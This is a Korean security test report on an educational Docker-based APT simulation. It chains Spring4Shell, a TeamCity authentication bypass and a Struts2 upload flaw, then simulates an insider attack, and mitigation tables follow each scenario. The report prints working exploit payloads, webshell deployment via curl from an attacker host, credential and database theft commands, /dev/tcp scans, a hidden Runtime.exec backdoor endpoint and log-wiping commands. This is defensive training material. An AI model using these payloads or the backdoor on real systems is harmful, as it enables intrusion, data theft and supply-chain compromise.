

보안 테스트 보고서

SL Cyber-Shield (SCS-EP)

CVE 기반 외부 공격 체인 및 내부자 위협 시뮬레이션 보안 진단 결과

프로젝트명	SL Cyber-Shield (SCS-EP)
보고서 구분	보안 취약점 테스트 보고서
테스트 유형	외부 공격 체인 / 내부자 위협 시뮬레이션
주요 CVE	CVE-2022-22965 / CVE-2024-27198 / CVE-2023-50164
테스트 환경	Docker 기반 로컬 환경 (Educational)
작성일	2026 년 03 월 28 일

1. 개요

본 보고서는 SL Factory Innovation Team 의 Cyber Security Strategy 프로젝트인 'SL Cyber-Shield (SCS-EP)'의 보안 테스트 시뮬레이션 수행 결과를 기록한 문서이다. SCS-EP는 SOC(Security Operations Center) 고도화를 위한 실전형 APT 시뮬레이션 플랫폼으로, Spring4Shell, TeamCity 인증 우회, Apache Struts2 파일 업로드 취약점 등 실제 공개된 CVE 를 연계하여 내부망 침투 및 데이터 탈취 전 과정을 재현한다.

본 시뮬레이션은 두 가지 시나리오로 구성된다. 첫 번째는 외부 공격자가 인터넷에 노출된 Spring Boot 애플리케이션의 취약점을 시작점으로 삼아 내부 DB, CI/CD 서버, NAS 스토리지까지 단계적으로 장악하는 '메인 시나리오(CVE 기반 외부 공격 체인)'이며, 두 번째는 내부 권한을 보유한 직원이 업무 접근권 한만으로 기업 기밀을 탈취하고 CI/CD 파이프라인에 백도어를 심는 '서브 시나리오(내부자 위협)'이다.

2. 목적

목적	내용
취약점 실증 및 위험 인식 제고	CVE-2022-22965(Spring4Shell), CVE-2024-27198(TeamCity), CVE-2023-50164(Struts2) 등 공개 취약점이 실제 운영 환경에서 어떻게 연쇄 악용될 수 있는지 직접 시연하여 보안 위협의 실재성을 입증한다.
내·외부 위협 시나리오 검증	외부 해커의 CVE 체이닝 공격과 내부자 위협 (Insider Threat)의 두 가지 관점에서 조직의 보안 수준과 탐지·대응 역량을 종합적으로 평가한다.
SOC 역량 고도화 지원	시뮬레이션 결과를 기반으로 SIEM 탐지 룰, IDS/IPS 정책, 방화벽 ACL 등 SOC 운영 절차 개선을 위한 구체적인 대응 방안을 도출한다.
공급망 보안 리스크 점검	CI/CD 파이프라인(TeamCity, Gitea)과 내부 NAS 스토리지에 대한 접근 통제 적절성을 점검하고 공급망 공격(Supply Chain Attack) 시나리오를 통해 취약 지점을 식별한다.

3. 테스트 범위 및 대상

3.1 테스트 대상 시스템

구분	서비스/컴포넌트	주소/포트	비고
Spring 앱	Spring Boot Web (Victim)	localhost:8011	CVE-2022-22965 취약
spring-db	MySQL 8.0	spring-db:3306	Spring 앱 DB
TeamCity	JetBrains TeamCity	teamcity-server:8111	CVE-2024-27198 취약
Struts	Apache Struts2 Web	struts:8080	CVE-2023-50164 취약

			약
struts-db	MySQL 8.0	struts-db:3306	Struts 앱 DB (직원 정보)
NAS	SMB 파일 서버 (NAS)	nas:445	설계 도면, 토큰 저장
Gitea	소스코드 저장소	gitea:3000	CI/CD 연동 저장소
Desktop	Employee Desktop VNC	employee-desktop:6901	내부자 위협 거점

3.2 테스트 범위

- 네트워크 침투 테스트: 외부 공격자 관점의 인터넷 노출 서비스(Spring Boot) 취약점 분석
- 웹 애플리케이션 취약점: CVE-2022-22965(Spring4Shell), CVE-2023-50164(Struts2) 파일 업로드 취약점
- 서버 소프트웨어 취약점: CVE-2024-27198(TeamCity 인증 우회) 권한 상승
- 내부 네트워크 횡적 이동(Lateral Movement): Spring → TeamCity → Struts → DB → NAS
- 내부자 위협: 정상 업무 권한을 보유한 내부자의 기밀 탈취 및 CI/CD 공급망 공격
- 데이터 유출(Exfiltration): 고객 DB, 직원 DB, NAS 설계 도면 탈취 가능성 검증

4. 전체 시나리오별 요약

구분	시나리오	주요 취약점/수법	영향 자산	MITRE ATT&CK
시나리오 1	외부 공격 체인 (run.py)	CVE-2022-22965 / CVE-2024-27198 / CVE-2023-50164	Spring DB, Struts DB, NAS	T1190 / T1078 / T1021
시나리오 2	내부자 위협 (sub_run.py)	Misconfiguration / 하드코딩 크리덴셜 / SMB 무단 접근	NAS, spring-db, CI/CD	T1552 / T1565 / T1195

4.1 시나리오 1 공격 흐름 요약

단계	공격 분류	상세 내용
STEP 1-3	초기 침투 (Initial Access)	Spring4Shell(CVE-2022-22965)로 AccessLogValve 변조 → yaho4.jsp 웹shell 생성
STEP 4-5	거점 확보 (Foothold)	완성형 웹shell(health_check.jsp) 배포 → RCE 권한 확보
STEP 6-7	정보 수집 및 DB 탈취	Spring 설정 파일에서 DB 크리

		덴셜 추출 → 내부 DB 무단 접근
STEP 8	횡적 이동 (Lateral Movement)	TeamCity CVE-2024-27198 관리자 계정 생성 → Struts2 CVE-2023-50164 직원 DB 탈취
STEP 9	데이터 유출 (Exfiltration)	JCIFS-NG 동적 로딩으로 NAS SMB 접근 → 설계 도면 파일 목록 탈취

4.2 시나리오 2 공격 흐름 요약

단계	공격 분류	상세 내용
Phase 1	정찰 (Reconnaissance)	내부 시스템 정보(id/hostname/uname) 수집, 내부 서비스 포트 스캔
Phase 2	NAS 기밀 탈취 (Exfiltration)	SMB 마운트된 NAS에서 설계도 (PDF), TeamCity 토큰 탈취
Phase 3	크리덴셜 수집 (Harvesting)	application.properties에서 하드코딩된 DB 접속 정보 추출
Phase 4	내부 DB 접근 (Lateral Move)	획득한 크리덴셜로 spring-db/struts-db 3306 직접 접근, 데이터 덤프
Phase 5	공급망 공격 (Supply Chain)	TeamCity 토큰으로 CI/CD 작업 → Gitea 소스코드 push → 자동 배포
Phase 6	백도어 삽입 및 흔적 은폐 (Persist)	프로덕션 서버 백도어 삽입, git log·bash_history 삭제

5. 시나리오 1: CVE 기반 외부 공격 체인 (run.py)

본 시나리오는 인터넷에 노출된 Spring Boot 애플리케이션을 초기 침투 지점으로 삼아 RCE 권한을 획득한 후, 내부망 TeamCity 서버와 Apache Struts2 서버를 연쇄적으로 해킹하고 최종적으로 NAS 스토리지의 기밀 파일 목록을 탈취하는 전 과정을 재현한다.

5-1. 테스트 환경 정보

구분	정보
공격자 (Attacker)	로컬 호스트 / Python 3.x 스크립트(run.py) 실행 환경
피해자 서버 (Spring)	Docker: ubuntu:22.04 / Spring Boot / Tomcat → localhost:8011
내부 DB (spring-db)	Docker: MySQL 8.0 → spring-db:3306
CI/CD (TeamCity)	Docker: JetBrains TeamCity → teamcity-server:8111
웹앱 (Struts2)	Docker: Apache Struts2 → struts:8080
직원 DB (struts-db)	Docker: MySQL 8.0 → struts-db:3306
파일 서버 (NAS)	Docker: NAS(SMB) → nas:445
실행 스크립트	python3 run.py (02.AttackScripts/ 하위 모듈 포함)

5-2. 시나리오 재현

STEP 1. Spring4Shell 페이로드 전송 (CVE-2022-22965)

Spring Framework의 Data Binding 취약점(CVE-2022-22965)을 이용해 Tomcat AccessLogValve 속성을 변조하는 페이로드를 타겟 엔드포인트로 전송한다. AccessLogValve의 prefix, suffix, pattern, directory, fileDateFormat 속성을 조작하여 Tomcat 로그 파일 위치와 내용을 제어함으로써 웹shell 코드를 서버 디스크에 기록할 준비를 한다.

□ CVE-2022-22965: Spring Framework 5.3.0~5.3.17, 5.2.x에서 Tomcat 배포 시 발생. ClassLoader를 통한 Data Binding 취약점으로 서버 파일 쓰기가 가능하다.

▶ 페이로드 구조 (stage1_dropper.py)

```
# stage1 dropper.py - ExploitController.run_exploit() 핵심 페이로드
payload = {
    "class.module.classLoader.resources.context.parent.pipeline.first.pattern": "%{c2}i %{c1}i",
    "class.module.classLoader.resources.context.parent.pipeline.first.prefix": "yaho4",
    "class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
    "class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/R00T",
    "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": ""
}
```

```
# 웹셸 코드는 c1, c2 쿠키 헤더로 분할 전송됨
headers["Cookie"] = "c1=Runtime r=...; c2=<webshell_body>"
```

STEP 2. Tomcat 로그 플러시 (웹셸 디스크 기록)

AccessLogValve의 로그 버퍼를 강제로 비워 조작된 로그 내용(웹셸 코드)이 webapps/ROOT/yaho4.jsp 파일로 디스크에 기록되도록 유도한다. 이를 위해 대상 엔드포인트에 추가적인 HTTP GET 요청을 전송하여 Tomcat의 로그 플러시를 트리거한다.

▶ 로그 플러시 트리거 명령

```
# Tomcat 로그 플러시 트리거
GET http://localhost:8011/spring-form/login

# 2초 대기 후 yaho4.jsp 생성 확인
time.sleep(2)
```

STEP 3. Stage1 웹셸 확인 (yaho4.jsp)

생성된 Stage1 웹셸(yaho4.jsp)에 cmd=whoami 파라미터를 전달하여 RCE 성공 여부를 확인한다. 최대 5회 재시도하며, 실패 시 페이로드 재전송 및 플러시를 반복한다. 성공 시 서버 실행 사용자 계정 정보가 반환된다.

▶ Stage1 웹셸 검증

```
# Stage1 웹셸 동작 확인
GET http://localhost:8011/yaho4.jsp?cmd=whoami

# 예상 응답 (최대 5회 시도)
# [1/5] yaho4.jsp?cmd=whoami → root
# [OK] Stage1 shell confirmed! User: root
```

STEP 4. Stage2 웹셸 배포 (health_check.jsp)

Stage1 웹셸을 발판 삼아 완성형 Stage2 웹셸(health_check.jsp)을 배포한다. 배포 방법은 두 가지이다. Method A는 공격자 PC에서 로컬 HTTP 서버(포트 9090)를 열고, Stage1 웹셸을 통해 curl 명령으로 health_check.jsp를 다운로드하는 방식이다. Method B는 docker cp 명령을 이용해 컨테이너 내부에 직접 복사하는 폴백(Fallback) 방식이다.

▶ Stage2 웹셸 배포

```
# [Method A] curl 방식 — Stage1 웹셸을 통한 원격 다운로드
GET http://localhost:8011/yaho4.jsp?cmd=curl%20http://host.docker.internal:9090/health_check.jsp%20-o%20usr/local/tomcat/webapps/ROOT/health_check.jsp

# [Method B] docker cp 방식 — 폴백(Fallback)
docker cp ./02.AttackScripts/health_check.jsp
01testserver-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```

STEP 5. Stage2 웹셸 검증 (RCE 거점 확보)

health_check.jsp에 비밀번호(pwd=glory)와 실행 명령(cmd=id)을 전달하여 완성형 웹셸의 동작을 확인한다. uid=0(root) 또는 uid= 포함 응답이 확인되면 서버에 대한 완전한 RCE 거점을 확보한 것으로 판정한다.

▶ Stage2 웹셸 검증

```
# Stage2 웹셸 검증
GET http://localhost:8011/health_check.jsp?pwd=glory&cmd=id

# 예상 응답
uid=0(root) gid=0(root) groups=0(root)

# [OK] Stage2 shell working! 거점 확보 완료
```

STEP 6. 내부 정보 수집 — DB 크리덴셜 탈취

RCE 권한을 이용하여 Spring 서버 내 DB 클라이언트(mysql, psql, sqlite3) 설치 여부를 확인하고, application.properties 설정 파일에서 DB 접속 정보(URL, 사용자명, 비밀번호)를 추출한다. 설정 파일 경로는 find 명령으로 탐색하거나 기본 경로를 사용한다.

▶ DB 크리덴셜 탈취

```
# DB 클라이언트 탐색
GET http://localhost:8011/health_check.jsp?pwd=glory&cmd=which%20mysql

# Spring 설정 파일 탐색
GET http://localhost:8011/health_check.jsp?pwd=glory&cmd=find%20usr/local/tomcat/webapps%20-name%20application.properties

# 설정 파일 내용 추출
GET http://localhost:8011/health_check.jsp?pwd=glory&cmd=cat%20usr/local/tomcat/webapps/spring-form/WEB-INF/classes/application.properties

# 응답 예시 (탈취된 크리덴셜)
spring.datasource.url=jdbc:mysql://spring-db:3306/spring_db
spring.datasource.username=spring_user
spring.datasource.password=spring_pass
```

STEP 7. 내부 DB 무단 접근 (고객 정보 탈취)

STEP 6에서 탈취한 DB 크리덴셜을 이용하여 내부 DB에 접근한다. mysql 클라이언트가 존재하면 RCE를 통해 직접 mysql 명령을 실행하고, 없는 경우 JDBC를 사용하는 커스텀 JSP 페이로드(db_dump.jsp)를 서버에 업로드하여 DB 쿼리를 실행한다.

▶ 내부 DB 접근 (db_dump.jsp)

```
# [Method A] mysql 클라이언트 직접 실행 (RCE)
mysql -h spring-db -u spring_user -pspring_pass -e 'SHOW DATABASES; SELECT version();'

# [Method B] JSP JDBC 페이로드 방식
# 1. base64로 인코딩된 db_dump.jsp를 서버에 업로드
echo <base64_payload> | base64 -d > /usr/local/tomcat/webapps/spring-form/db_dump.jsp

# 2. JSP 페이로드로 DB 쿼리 실행
GET http://localhost:8011/spring-form/db_dump.jsp?u=jdbc:mysql://spring-db:3306/spring_db&n=spring_user&p=spring_pass

# 응답 예시
[Table: users]
id=1 | name=admin | email=admin@sl.com | ...
```

STEP 8. 횡적 이동 — TeamCity → Struts2 (직원 DB 탈취)

Stage2 웹shell 거점을 기반으로 내부망 횡적 이동을 수행한다. 먼저 Spring 서버에 HTTP Proxy Shell(proxy.jsp)을 업로드하여 내부망 서버 간 통신 브릿지로 활용한다. 이후 CVE-2024-27198(TeamCity 인증 우회)로 관리자 계정을 생성하고, CVE-2023-50164(Struts2 파일 업로드)로 직원 DB에 접근하는 JSP 페이로드를 배포한다.

▶ 횡적 이동 (proxy.jsp → TeamCity → Struts2)

```
# 1. Spring 서버에 Proxy Shell 업로드 (내부망 통신 브릿지)
echo <base64_proxy_jsp> | base64 -d > /usr/local/tomcat/webapps/ROOT/proxy.jsp

# 2. TeamCity CVE-2024-27198 — 관리자 계정 강제 생성
POST http://teamcity-server:8111/hax?jsp=/app/rest/users;.jsp
Body: {"username":"hacker","password":"Hacker123!","roles":{"role":["roleId":"SYSTEM_ADMIN","scope":"g"]}}

# 3. Struts2 CVE-2023-50164 — DB 탈취 JSP 배포
POST http://struts:8080/upload/employee-upload.action
multipart: Upload=strutsdb.jsp (JDBC payload), uploadFileName=strutsdb.jsp
```

```
# 4. Struts DB 쿼리 실행
GET http://struts:8080/upload/uploads/faces/strutsdb.jsp;x?
pwd=j&query=SELECT+*+FROM+employees
```

```
# 응답 예시
id | name | department | salary
---
1 | Kim Chulsu | R&D | 55000000
```

STEP 9. NAS SMB 데이터 탈취

JCIFS-NG Java 라이브러리를 Maven 저장소에서 동적으로 다운로드하여 Spring 서버 /tmp 디렉터리에 저장한다. 이후 NAS 전용 웹셸(nasshell.jsp)을 서버에 업로드하여 JCIFS-NG를 통해 내부망 NAS(smb://nas/data/)에 SMB 인증으로 접속하고, 기밀 파일 목록을 탈취한다.

▶ NAS SMB 접속 (nasshell.jsp + JCIFS-NG)

```
# 1. JCIFS-NG 라이브러리 동적 다운로드 (downloader.jsp 통해)
# Maven: jcifs-ng-2.1.9.jar, slf4j-api-1.7.36.jar 등 /tmp에 저장

# 2. NAS Shell 업로드
echo <base64_nas_jsp> | base64 -d > /usr/local/tomcat/webapps/ROOT/nasshell.jsp

# 3. NAS SMB 접속 및 파일 목록 탈취
GET http://localhost:8011/nasshell.jsp?pwd=glory

# 예상 응답
[FILE] Product_Architecture_v2.pdf
[FILE] TeamCity_API_Token.txt
[FILE] Employee_Salaries_2023.xlsx
[DIR] Confidential_Designs/
```

5-n. 대응 방안 (시나리오 1)

취약점/항목	위험도	대응 방안
Spring4Shell (CVE-2022-22965)	High	• Spring Framework 5.3.18 이상 또는 5.2.20 이상으로 즉시 업그레이드 • 불가 시 application.properties 에서 DataBinder setDisallowedFields 적용 • WAF(웹 애플리케이션 방화벽)에서 class.module.classLoader 포함 요청 차단
Tomcat AccessLogValve 설정 강화	Medium	• logging.access-log=false 설정으로 불필요한 접근 로그 비활성화 • Tomcat 관리 인터페이스 (webapps/ROOT)에 외부 접근 차단 • 의심스러운 HTTP 파라미터 패턴에 대한 IDS 탐지 룰 적용
TeamCity (CVE-2024-27198)	Critical	• TeamCity 2023.11.4 이상으로 즉시 업그레이드 • 내부망 CI/CD 서버에 대한 외부/비인가 접근 방화벽 ACL 적용 • 관리자 계정 변경 이벤트에 대한

		SIEM 알럿 설정
Struts2 파일 업로드 (CVE-2023-50164)	Critical	• Apache Struts 2.5.33 또는 6.3.0.2 이상으로 업그레이드 • 업로드 디렉터리에 JSP 실행 권한 제거 (webapps 외부로 업로드 경로 이동) • 파일 업로드 확장자 화이트리스트 검증 강화
NAS 접근 통제	High	• SMB 익명 접근 차단, 계정별 최소 권한 원칙 적용 • NAS 접근 로그 모니터링 및 비업무 시간 접근 알럿 설정 • 중요 파일에 DLP(데이터 유출 방지) 정책 적용

6. 시나리오 2: 내부자 위협 시뮬레이션 (sub_run.py)

본 시나리오는 정상적인 업무 접근 권한을 보유한 내부 직원(불만 직원 또는 악의적 행위자)이 별도의 외부 취약점 없이 기업 핵심 자산을 탈취하고 CI/CD 파이프라인에 백도어를 심는 과정을 재현한다. 이미 Spring4Shell 을 통해 거점 웹쉘(health_check.jsp)이 확보된 상황을 전제로 한다.

6-1. 테스트 환경 정보

구분	정보
내부자 역할	Spring4Shell 거점 웹쉘 보유 내부 개발자 (정상 업무 권한 보유)
거점 웹쉘	http://localhost:8011/health_check.jsp (pwd=glory)
NAS 서버	nas:445/SMB — 설계 도면, CI/CD 토큰 저장
소스코드 저장소	gitea:3000 — Spring 서버 레포지토리
CI/CD 서버	teamcity-server:8111 — 빌드 및 자동 배포
내부 DB	spring-db:3306 (고객), struts-db:3306 (직원)
실행 스크립트	python3 sub_run.py (02.AttackScripts/ 하위 모듈 포함)

6-2. 시나리오 재현

Phase 1. 정찰 (Reconnaissance)

내부자는 확보한 거점 웹쉘을 통해 현재 서버 환경과 내부망 구조를 파악한다. 시스템 정보(id, hostname, uname)를 수집하고, 내부 서비스(VNC, Gitea, TeamCity)의 포트 개방 여부를 확인하여 공격 방향을 설정한다.

▶ 내부 환경 정찰

```
# 시스템 정보 수집
GET /health_check.jsp?pwd=glory&cmd=id
→ uid=0(root) gid=0(root) groups=0(root)

GET /health_check.jsp?pwd=glory&cmd=hostname
→ 01testserver-spring-1

GET /health_check.jsp?pwd=glory&cmd=uname+-a
→ Linux ... x86_64 GNU/Linux

# 내부 서비스 포트 스캔
GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo>/dev/tcp/employee-desktop/6901+&&echo+OPEN'
GET
/health_check.jsp?pwd=glory&cmd=bash+-c+'echo>/dev/tcp/gitea/3000+&&echo+OPEN'
GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo>/dev/tcp/teamcity-server/8111+&&echo+OPEN'
```

Phase 2. NAS 기밀 탈취 (Data Exfiltration)

내부자는 SMB 프로토콜을 통해 마운트된 NAS 서버(/mnt/nas)에 접근하거나, 포트 445가 열려 있는 것을 확인하고 SMB 클라이언트로 직접 연결한다. NAS에는 제품 설계 도면(PDF), TeamCity API 토큰, 직원 급여 파일 등 핵심 기밀이 저장되어 있다.

▶ NAS 기밀 파일 탈취

```
# NAS SMB 포트 확인
GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo+>/dev/tcp/nas/445+&&+echo+NAS_OPEN'
→ NAS_OPEN (nas:445 포트 접근 가능)

# NAS 마운트 파일 목록 확인
GET /health_check.jsp?pwd=glory&cmd=ls+/mnt/nas

# SMB 클라이언트 직접 접근 (업무 권한)
smbclient //nas/data -U smbuser%smbpass -c 'ls'

# 탈취 대상 파일
[FILE] Product_Architecture_v2.pdf    ← 제품 설계 도면
[FILE] TeamCity_API_Token.txt        ← CI/CD 인증 토큰
[FILE] Employee_Salaries_2023.xlsx   ← 직원 급여 정보
```

Phase 3. 크리덴셜 수집 (Credential Harvesting)

Spring 서버의 application.properties 설정 파일에서 하드코딩된 DB 접속 정보를 추출한다. 또한 서버 환경변수(env)에서 DB 관련 민감 정보를 필터링하여 수집한다. 이는 개발 편의를 위해 소스코드/설정 파일에 크리덴셜을 직접 기재하는 관행에서 비롯된 취약점이다.

▶ 하드코딩 크리덴셜 추출

```
# application.properties 파일 탈취
GET /health_check.jsp?pwd=glory&cmd=cat+/usr/local/tomcat/webapps/spring-form/WEB-INF/classes/application.properties

# 응답 (하드코딩된 DB 크리덴셜 노출)
spring.datasource.url=jdbc:mysql://spring-db:3306/spring_db
spring.datasource.username=spring_user
spring.datasource.password=spring_pass

# 서버 환경변수에서 민감 정보 필터링
GET /health_check.jsp?pwd=glory&cmd=env
→ DB_HOST=spring-db DB_USER=spring_user DB_PASS=spring_pass

# 설정 파일 위치 탐색
GET /health_check.jsp?pwd=glory&cmd=find+/usr/local/tomcat+-name+application.properties
```

Phase 4. 내부 DB 접근 (Lateral Movement)

Phase 3에서 획득한 크리덴셜을 재사용하여 내부망 MySQL DB 서버에 직접 접속한다. 방화벽 없이 컨테이너 네트워크로 연결된 spring-db(고객 정보)와 struts-db(직원 정보)에 접근하여 전체 데이터를 덤프한다.

▶ 내부 DB 무단 접근 및 데이터 덤프

```
# 내부 DB 포트 접근 확인
GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo+>/dev/tcp/spring-db/3306+&&+echo+DB_OPEN'
→ DB_OPEN

GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo+>/dev/tcp/struts-db/3306+&&+echo+DB_OPEN'
→ DB_OPEN

# 직접 MySQL 접속 (고객 정보 덤프)
mysql -h spring-db -u spring_user -pspring_pass spring_db -e 'SELECT * FROM users LIMIT 10;'

# 전체 DB 덤프
mysqldump -h spring-db -u spring_user -pspring_pass spring_db >
```

```
/tmp/spring_dump.sql
mysqldump -h struts-db -u struts_user -pstruts_pass struts_db >
/tmp/struts_dump.sql
```

Phase 5. 공급망 공격 (Supply Chain Attack)

Phase 2 에서 탈취한 TeamCity API 토큰을 이용해 CI/CD 파이프라인에 접근한다. 내부자는 Gitea 저장소에서 소스코드를 clone 하고 악성 코드(숨겨진 원격 실행 엔드포인트)를 삽입한 뒤 push 한다. TeamCity 가 변경된 코드를 감지하면 자동 빌드 및 배포가 수행되어 프로덕션 서버에 백도어가 설치된다.

▶ CI/CD 공급망 공격 흐름

```
# TeamCity 서버 접근 가능 여부 확인
GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo+>/dev/tcp/teamcity-server/8111+&&+echo+TC_ALIVE'
→ TC_ALIVE

# Gitea 저장소 접근 확인
GET /health_check.jsp?pwd=glory&cmd=bash+-c+'echo+>/dev/tcp/gitea/3000+&&+echo+GITEA_ALIVE'
→ GITEA_ALIVE

# 공급망 공격 흐름 (시뮬레이션)
# 1. Gitea 에서 spring-server 레포지토리 clone
# 2. ApplicationController.java 에 숨겨진 RCE 엔드포인트 삽입
# 3. 정상 기능 commit 메시지로 위장 후 push: git push origin main
# 4. TeamCity 자동 빌드 & 프로덕션 배포 트리거
# 5. 배포 완료 후 /app/health?x=<cmd> 형태로 백도어 접근 가능
```

Phase 6. 백도어 삽입 및 흔적 은폐 (Persistence & Cover Tracks)

프로덕션 서버에 백도어를 심고, 증거를 은폐한다. git log 를 수정하여 악의적인 커밋 내역을 삭제하고, bash_history 파일을 비워 서버에서 실행한 명령어 이력을 제거한다. 이로써 공격자는 장기간 탐지 없이 백도어를 유지할 수 있다.

▶ 백도어 코드 및 흔적 은폐

```
# 백도어 삽입 예시 (Spring Controller 내 숨겨진 엔드포인트)
@GetMapping("/app/health")
public ResponseEntity<String> health(@RequestParam(required=false) String x) throws Exception {
    if (x != null) {
        Process p = Runtime.getRuntime().exec(new String[]{"bin/sh", "-c", x});
        return ResponseEntity.ok(new String(p.getInputStream().readAllBytes()));
    }
    return ResponseEntity.ok("OK");
}

# 흔적 은폐
git log --oneline -5          # 수상한 커밋 확인
git rebase -i HEAD~3         # 악의적 커밋 숨김/삭제
history -c && > ~/.bash_history # 명령어 이력 삭제
rm -f /var/log/tomcat*/access log.* # 접근 로그 삭제
```

6-n. 대응 방안 (시나리오 2)

취약점/항목	위험도	대응 방안
하드코딩 크리덴셜 제거	Critical	- 소스코드 및 설정 파일에 DB 접속 정보 등 민감 데이터를 직접 기재하지 않음 - HashiCorp Vault, AWS Secrets Manager 등 비밀 관리 솔루션 도입 - GitGuardian, Gitleaks 등 비

		밀 스캐너를 CI/CD 파이프라인에 통합
내부망 서비스 접근 통제	High	- 컨테이너/서버 간 네트워크 분리: DB 포트를 앱 서버에서만 접근 가능하도록 방화벽/네트워크 정책 설정 - TeamCity, Gitea 등 CI/CD 인프라에 VPN 또는 제로 트러스트 기반 접근 통제 적용
NAS 접근 통제 강화	High	- SMB 게스트 및 익명 접근 완전 차단 - 파일 서버 접근 이력 로그 수집 및 SIEM 연동 - 중요 파일에 대한 DRM(디지털 저작권 관리) 및 DLP 정책 적용
CI/CD 파이프라인 보안	Critical	- 코드 변경 시 Pull Request 기반 리뷰 및 승인 프로세스 필수화 - 브랜치 보호 정책(Branch Protection)으로 main 브랜치 직접 push 차단 - 빌드/배포 파이프라인 변경 이벤트에 대한 알림 및 감사 로그 수집
내부자 위협 탐지	High	- UBA(User Behavior Analytics): 비정상적인 대용량 파일 접근, 야간 활동 등 탐지 - SIEM 규칙: git force push, 설정 파일 대량 접근, DB 전체 덤프 등 이상 행위 알럿 - 특권 계정(PAM) 솔루션으로 관리자 권한 사용 세션 녹화 및 감사
로그 무결성 보호	Medium	- 서버 로그를 외부 SIEM/로그 서버로 실시간 전송하여 로컬 삭제 방지 - git 이력 변조 감지: 중앙 저장소에서 force push 알림 설정 - 감사 로그(auditd) 활성화로 파일 삭제, 명령어 실행 이력 보호